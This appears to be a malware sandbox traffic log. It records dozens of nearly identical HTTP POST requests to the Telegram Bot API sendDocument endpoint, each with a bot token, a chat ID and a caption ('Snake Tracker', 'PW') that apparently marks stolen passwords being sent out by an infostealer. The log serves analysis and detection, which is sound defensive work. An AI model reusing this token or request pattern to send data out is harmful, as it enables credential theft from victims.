Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd20761e459beaHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd21322c4586e7Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2098731e7d87Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd208e2eaa00deHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd20af00185e1eHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd214ffb664a86Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd20a77e51f755Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd20c4261497b1Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd216ef987af00Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd20be100b0715Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd20d938fe0172Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd218ddbcb8c7bHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd20d7324cb693Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd20ef893a5471Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd21b3074f62f3Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd20ed9b305c5dHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd210716015f06Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd21d585647a82Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd210a7f89af93Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2125107c93fbHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd21fe3ea779eeHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd212895f468d0Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2140552249deHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd222e6a7585d6Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd214541f09a2eHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd225faa7b54ceHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2161f5499881Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd21699b4eabd7Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd229ac9c02cfeHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd218608facd63Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2189f0cb04caHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd22de6d3ef3c7Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd21a9f558bff4Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd21acbc242eedHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2321d33b2b75Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd21d05113ef78Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd21cf699ce188Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd23627ca5d7a5Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd21f3fd82474bHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd221a131b77faHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd23a7e0c358b1Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd21f715d5f928Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2228c5d66eadHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd224dea6ac3fcHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2410d566cb44Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2253ee1debebHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd227b407d5dfdHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2470cc4c7c4cHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd228686aed571Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd22ac30a66dbfHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd24f09b604f03Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd22c3003a5e58Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd22efb27445d5Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2587cc98b653Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd22ff41348b47Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd232b76f6085eHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd26047d4600f9Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2347cf9f5e67Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd236fb4dcf471Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd268de6126dd3Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2391582c4776Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd23b767e4612bHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd271102821989Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd23ee6cc60601Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd241d958a93e9Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2799595f15e7Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2461846d9172Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2480fc2e3ffdHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2813e0605d29Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd24f1d8f190eaHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd25151bda7f10Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd28b07a2e3bf6Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2541c39c92aaHost: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2570877d30d9Host: api.telegram.orgContent-Length: 535Connection: Keep-Alive
